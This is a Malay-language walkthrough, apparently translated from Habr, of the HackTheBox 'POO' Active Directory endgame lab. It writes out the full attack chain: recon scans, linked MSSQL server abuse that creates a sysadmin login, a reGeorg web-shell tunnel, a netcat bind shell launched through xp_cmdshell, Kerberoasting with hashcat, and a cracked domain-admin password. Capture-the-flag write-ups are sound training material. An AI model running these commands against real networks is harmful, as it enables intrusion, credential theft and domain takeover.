HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Dalam artikel ini, kami akan menganalisis laluan bukan sahaja mesin, tetapi keseluruhan makmal mini dari tapak HackTheBox.

Seperti yang dinyatakan dalam huraian, POO direka untuk menguji kemahiran pada semua peringkat serangan dalam persekitaran Active Directory yang kecil. Matlamatnya adalah untuk menjejaskan hos yang tersedia, meningkatkan keistimewaan, dan akhirnya menjejaskan keseluruhan domain dengan mengumpulkan 5 bendera dalam proses itu.

Sambungan ke makmal adalah melalui VPN. Adalah disyorkan untuk tidak menyambung dari komputer yang berfungsi atau dari hos yang terdapat data penting untuk anda, kerana anda memasuki rangkaian peribadi dengan orang yang mengetahui sesuatu tentang keselamatan maklumat 🙂

maklumat organisasi
Supaya anda boleh mengetahui tentang artikel baru, perisian dan maklumat lain, saya buat saluran telegram и kumpulan untuk membincangkan sebarang isu di kawasan IIKB. Juga permintaan peribadi anda, soalan, cadangan dan cadangan Saya akan melihat dan membalas semua orang..

Semua maklumat disediakan untuk tujuan pendidikan sahaja. Pengarang dokumen ini tidak bertanggungjawab ke atas sebarang kerosakan yang dialami oleh sesiapa akibat menggunakan pengetahuan dan kaedah yang diperoleh hasil daripada kajian dokumen ini.

Pengenalan

Permainan akhir ini terdiri daripada dua mesin dan mengandungi 5 bendera.

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Penerangan dan alamat hos yang tersedia juga diberikan.

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Mari bermula!

Bendera recon

Mesin ini mempunyai alamat IP 10.13.38.11 yang saya tambahkan pada /etc/hosts.
10.13.38.11 poo.htb

Langkah pertama ialah mengimbas port terbuka. Memandangkan ia mengambil masa yang lama untuk mengimbas semua port dengan nmap, saya akan melakukannya terlebih dahulu dengan masscan. Kami mengimbas semua port TCP dan UDP daripada antara muka tun0 pada 500pps.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Sekarang, untuk mendapatkan maklumat yang lebih terperinci tentang perkhidmatan yang dijalankan pada port, mari jalankan imbasan dengan pilihan -A.

nmap -A poo.htb -p80,1433

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Oleh itu, kami mempunyai perkhidmatan IIS dan MSSQL. Dalam kes ini, kami akan mengetahui nama DNS sebenar domain dan komputer. Di pelayan web, kami disambut oleh halaman utama IIS.

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Mari kita ulangi pada direktori. Saya menggunakan gobuster untuk ini. Dalam parameter kami menentukan bilangan strim 128 (-t), URL (-u), kamus (-w) dan sambungan yang menarik minat kami (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Oleh itu, kami mempunyai pengesahan HTTP untuk direktori /admin, serta fail storan perkhidmatan desktop .DS_Store tersedia. .DS_Store ialah fail yang menyimpan tetapan pengguna untuk folder, seperti senarai fail, lokasi ikon, imej latar belakang yang dipilih. Fail sedemikian mungkin berakhir dalam direktori pelayan web pembangun web. Oleh itu, kami mendapat maklumat tentang kandungan direktori. Untuk ini anda boleh gunakan Perangkak DS_Store.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Kami mendapat kandungan direktori. Perkara yang paling menarik di sini ialah direktori /dev, dari mana kita boleh melihat sumber dan fail db dalam dua cawangan. Tetapi kita boleh menggunakan 6 aksara pertama nama fail dan direktori jika perkhidmatan itu terdedah kepada IIS ShortName. Anda boleh menyemak kerentanan ini menggunakan IIS nama pendek Pengimbas.

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Dan kami dapati satu fail teks yang bermula dengan "poo_co". Tidak tahu apa yang perlu dilakukan seterusnya, saya hanya memilih daripada kamus direktori semua perkataan yang bermula dengan "co".

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

Dan lelaran dengan wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Dan cari perkataan yang betul! Kami melihat fail ini, simpan bukti kelayakan (berdasarkan parameter DBNAME, ia adalah dari MSSQL).

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Kami menyerahkan bendera, dan kami maju sebanyak 20%.

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Huh bendera

Kami menyambung ke MSSQL, saya menggunakan DBeaver.

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Kami tidak menemui apa-apa yang menarik dalam pangkalan data ini, mari buat SQL Editor dan semak pengguna.

SELECT name FROM master..syslogins;

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Kami mempunyai dua pengguna. Jom semak keistimewaan kita.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Oleh itu, tidak ada keistimewaan. Mari lihat pelayan yang dipautkan, saya menulis tentang teknik ini secara terperinci di sini.

SELECT * FROM master..sysservers;

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Jadi kami mencari Pelayan SQL yang lain. Mari kita semak pelaksanaan arahan pada pelayan ini menggunakan openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Dan kita juga boleh membina pepohon pertanyaan.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Hakikatnya ialah apabila kami membuat permintaan kepada pelayan yang dipautkan, permintaan itu dilaksanakan dalam konteks pengguna lain! Mari lihat konteks pengguna yang kami jalankan pada pelayan terpaut.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Dan sekarang mari kita lihat dalam konteks apakah permintaan daripada pelayan yang dipautkan kepada kami dilaksanakan!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Oleh itu, ia adalah konteks DBO yang mesti mempunyai semua keistimewaan. Mari kita semak keistimewaan sekiranya terdapat permintaan daripada pelayan yang dipautkan.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Seperti yang anda lihat, kami mempunyai semua keistimewaan! Jom buat admin kita macam ni. Tetapi mereka tidak membenarkan mereka melalui openquery, mari lakukannya melalui EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

Dan kini kami berhubung dengan bukti kelayakan pengguna baharu, perhatikan pangkalan data bendera baharu.

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Kami menyerahkan bendera ini dan pergi lebih jauh.

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Bendera belakang

Mari dapatkan shell menggunakan MSSQL, saya menggunakan mssqlclient dari pakej impacket.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Kami perlu mendapatkan kata laluan, dan perkara pertama yang telah kami temui ialah tapak. Oleh itu, kita memerlukan konfigurasi pelayan web (tidak mungkin untuk membuang shell yang mudah, nampaknya firewall berfungsi).

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Tetapi akses dinafikan. Walaupun kita boleh membaca fail dari MSSQL, kita hanya perlu mengetahui bahasa pengaturcaraan yang dikonfigurasikan. Dan dalam direktori MSSQL kami mengetahui bahawa terdapat Python.

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Kemudian tiada masalah untuk membaca fail web.config.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Dengan kelayakan ditemui, pergi ke /admin dan angkat bendera.

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

bendera pijakan

Malah, terdapat beberapa kesulitan daripada menggunakan firewall, tetapi melihat melalui tetapan rangkaian, kami mendapati bahawa protokol IPv6 juga digunakan!

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Tambahkan alamat ini pada /etc/hosts.
dead:babe::1001 poo6.htb
Mari kita imbas hos sekali lagi, tetapi kali ini melalui IPv6.

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Dan perkhidmatan WinRM tersedia melalui IPv6. Mari sambungkan dengan kelayakan yang ditemui.

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Ada bendera di atas meja, serahkan.

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

bendera P00ned

Selepas peninjauan pada tuan rumah dengan winpeas kami tidak menjumpai sesuatu yang istimewa. Kemudian diputuskan untuk mencari kelayakan semula (saya juga menulis mengenai topik ini artikel). Tetapi saya tidak boleh mendapatkan semua SPN daripada sistem melalui WinRM.

setspn.exe -T intranet.poo -Q */*

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Mari laksanakan arahan melalui MSSQL.

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Dengan cara ini, kami mendapat SPN pengguna p00_hr dan p00_adm, yang bermaksud bahawa mereka terdedah kepada serangan seperti Kerberoasting. Pendek kata, kita boleh mendapatkan cincang kata laluan mereka.

Mula-mula anda perlu mendapatkan shell yang stabil bagi pihak pengguna MSSQL. Tetapi kerana kami terhad dalam akses, kami mempunyai sambungan dengan hos hanya melalui port 80 dan 1433. Tetapi adalah mungkin untuk menyalurkan trafik melalui port 80! Untuk ini kami gunakan permohonan seterusnya. Mari muat naik fail tunnel.aspx ke direktori utama pelayan web - C: inetpubwwwroot.

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Tetapi apabila kami cuba mengaksesnya, kami mendapat ralat 404. Ini bermakna fail *.aspx tidak dilaksanakan. Untuk membuat fail dengan sambungan ini dijalankan, pasang ASP.NET 4.5 seperti berikut.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Dan kini, apabila mengakses tunnel.aspx, kami mendapat jawapan bahawa segala-galanya sedia untuk digunakan.

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Mari kita mulakan bahagian pelanggan aplikasi, yang akan menyampaikan trafik. Kami akan memajukan semua trafik dari port 5432 ke pelayan.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Dan kami menggunakan rantaian proksi untuk menghantar trafik mana-mana aplikasi melalui proksi kami. Mari tambahkan proksi ini pada fail konfigurasi /etc/proxychains.conf.

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Sekarang mari muat naik program ke pelayan netcat, dengan mana kita akan membuat shell bind yang stabil, dan skrip Serlahkan Kerberoast, yang mana kami akan melakukan serangan Kerberoasting.

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Sekarang, melalui MSSQL, kami melancarkan pendengar.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Dan kami menyambung melalui proksi kami.

proxychains rlwrap nc poo.htb 4321

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Dan mari dapatkan cincangan.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Seterusnya, anda perlu mengulangi cincang ini. Memandangkan rockyou tidak mempunyai kamus data kata laluan, saya menggunakan SEMUA kamus kata laluan yang disediakan dalam Seclist. Untuk penghitungan kami menggunakan hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Dan kami menemui kedua-dua kata laluan, yang pertama dalam kamus dutch_passwordlist.txt dan yang kedua dalam Keyboard-Combinations.txt.

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Jadi kami mempunyai tiga pengguna, kami pergi ke pengawal domain. Jom cari alamat dia dulu.

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Hebat, kami telah mempelajari alamat IP pengawal domain. Mari kita ketahui semua pengguna domain tersebut, serta yang mana antara mereka adalah pentadbir. Untuk memuat turun skrip untuk mendapatkan maklumat PowerView.ps1. Kemudian kami akan menyambung menggunakan evil-winrm, menentukan direktori dengan skrip dalam parameter -s. Dan kemudian hanya muatkan skrip PowerView.

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Kini kami mempunyai akses kepada semua fungsinya. Pengguna p00_adm kelihatan seperti pengguna istimewa, jadi kami akan bekerja dalam konteksnya. Mari buat objek PSCredential untuk pengguna ini.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Sekarang semua arahan Powershell yang kami tentukan Creds akan dilaksanakan bagi pihak p00_adm. Mari paparkan senarai pengguna dan atribut AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Oleh itu, pengguna kami benar-benar mendapat keistimewaan. Jom kita lihat dia tergolong dalam kumpulan apa.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Kami akhirnya mengesahkan bahawa pengguna ialah pentadbir domain. Ini memberikan hak untuk log masuk dari jauh ke pengawal domain. Mari cuba log masuk dengan WinRM menggunakan terowong kami. Saya keliru dengan ralat yang dikeluarkan oleh reGeorg apabila menggunakan evil-winrm.

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Kemudian kami menggunakan satu lagi yang lebih mudah, skrip untuk menyambung ke WinRM. Buka dan tukar parameter sambungan.

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Kami cuba menyambung, dan kami berada dalam sistem.

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Tetapi tidak ada bendera. Kemudian lihat pengguna dan semak desktop.

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Di mr3ks kami dapati bendera dan makmal telah siap 100%.

HackTheBoxendgame. Laluan makmal Operasi Serangan Profesional. Direktori Aktif Pentest

Itu sahaja. Sebagai maklum balas, ulas sama ada anda mempelajari sesuatu yang baharu daripada artikel ini dan sama ada ia berguna kepada anda.

Anda boleh sertai kami di Telegram. Di sana anda boleh menemui bahan menarik, kursus gabungan, serta perisian. Mari kumpulkan komuniti di mana akan ada orang yang memahami banyak bidang IT, kemudian kita sentiasa boleh membantu antara satu sama lain dalam sebarang isu keselamatan IT dan maklumat.

Sumber: www.habr.com

Tambah komen